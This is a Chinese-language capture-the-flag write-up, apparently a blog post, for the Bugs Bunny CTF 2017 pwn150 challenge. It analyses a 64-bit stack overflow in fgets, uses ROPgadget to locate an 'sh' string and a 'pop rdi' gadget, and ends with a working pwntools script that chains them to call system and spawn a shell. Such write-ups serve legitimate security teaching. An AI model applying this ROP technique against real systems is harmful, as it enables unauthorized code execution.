zoukankan      html  css  js  c++  java
  • ROP-bugs bunny ctf 2017-pwn150

    1 int __cdecl main(int argc, const char **argv, const char **envp)
    2 {
    3   today();
    4   return Hello();
    5 }

    打开IDA,发现main中调用了两个函数。

    1 int today()
    2 {
    3   return system("/bin/date");
    4 }

    在today中,调用了system函数。

     1 signed __int64 Hello()
     2 {
     3   signed __int64 result; // rax
     4   char s; // [rsp+0h] [rbp-50h]
     5   FILE *v2; // [rsp+48h] [rbp-8h]
     6 
     7   printf("Hello pwner, Send me your message here: ");
     8   fflush(stdout);
     9   fgets(&s, 0xC0, stdin);
    10   v2 = fopen("bugsbunny.txt", "a");
    11   if ( v2 )
    12   {
    13     fwrite(&s, 0x40uLL, 1uLL, v2);
    14     result = 0LL;
    15   }
    16   else
    17   {
    18     puts("So shorry cant talk to you now :( ");
    19     result = 1LL;
    20   }
    21   return result;
    22 }

    fgets函数虽然限制了最大的接收数据长度,但是因为s的地址距离RIP小于C0,所以存在栈溢出漏洞。

    通过以上观察,知道程序存在栈溢出漏洞并且有system,所以可以利用栈溢出来ret到system来打开shell。问题是在today函数中,传递给system的参数并不是/bin/sh。那么就只能来自己构造了。

    首先我想到的是,也许可以把程序中自带的“/bin/date”给修改成“/bin/sh”,然后再转回到today函数,就可以拿到shell了。

     

    但是通过IDA和gdb观察后发现,存放bin/date的内存区域并没有W写入权限,于是这样做是不可行的。

     既然修改bin/date不行,那么就得找一块内存去写入了,但是观察后发现,并没有适合的地方。

    后来看了WP,明白了原来直接通过sh也可以直接打开shell,在这个程序中就恰好存在sh。

    如何找到程序中的这个sh呢,总不能用眼一个个找吧。这里可以用IDA中的shift+f12来搜索,我觉着不好用。也可以用winhex之类的二进制查看器来搜索,不过搜索出来得自己再转换地址和筛选比较麻烦,也不好。

    在这篇博客中有多种方式搜索pwn程序中的字符串,可以参考这篇博客------https://blog.csdn.net/weixin_43921239/article/details/105318835

    ROPgadget --binary pwn150 --string 'sh'

     在这里我感觉用ROPgadget是最方便快捷的。

    到了这里,找到了system打开shell所必须的sh参数变量。然后就要把它传入到system里了。

     我们可以看一下正常调用system时,是怎样把参数传递到system里的。和32位程序不同的是,它是把参数放在了rdi寄存器里。所以在覆盖RIP转到system之前,我们需要改变rdi里的值为我们上面找到的sh的地址。

    这里就要用到语句pop rdi了,它可以把栈上的数据弹到rdi里。

    ROPgadget --binary pwn150 | grep 'pop rdi'

     这里再次运用ROPgadget,来找到这个指令的地址。

    到这里,就能够写出payload了。

    payload=pading+pop地址+sh地址+system地址

    最后,我们需要确定pading填充字节的数量为多少,因为我们知道IDA中显示的s与ebp的距离并不总是准确的,因此需要以动态调试为主。

     有意思的是,当在进行动态调试的时候,会卡在today函数中,无法再进行下面的调试。

    原因是,today中的system()会调用一个子进程,而gdb默认会跟踪子进程。想要继续调试,必须得把gdb调成跟踪父进程。

    1 show follow-fork-mode
    2 set follow-fork-mode parent

     

     发现程序可以正常调试了。

    经过调试发现要填充的字节为88,过程就不赘述了。

     1 #coding:utf-8
     2 from pwn import *
     3 io=process('./pwn150')
     4 pading=b'A'*(0x50+8)
     5 pos_system=p64(0x40075F)
     6 pos_sh=p64(0x4003ef)
     7 pos_poprdi=p64(0x400883)
     8 payload=pading+pos_poprdi+pos_sh+pos_system
     9 
    10 io.sendline(payload)
    11 io.interactive()

     最终写出脚本。

    这里还有一个问题就是,这里的pos_system选择的是在text段的call地址。但是换成在plt段的system就不行了。按理来说是可以的才对。我搜索了几个老外的写的WP,发现他们有的就是用的这里plt中的地址,但是我完全复制黏贴他们的代码,自己跑的时候却也不行。也许是python版本的事吧。

  • 相关阅读:
    smarty
    js进阶
    JS 基础
    php之面向对象(2)
    php之面向对象(1)
    PHP之图形处理
    PHP代码分离
    PHP文件上传与安全
    PHP substr截取中文字符出现乱码的问题解疑
    关于学习方法
  • 原文地址:https://www.cnblogs.com/sweetbaby/p/14153737.html
Copyright © 2011-2022 走看看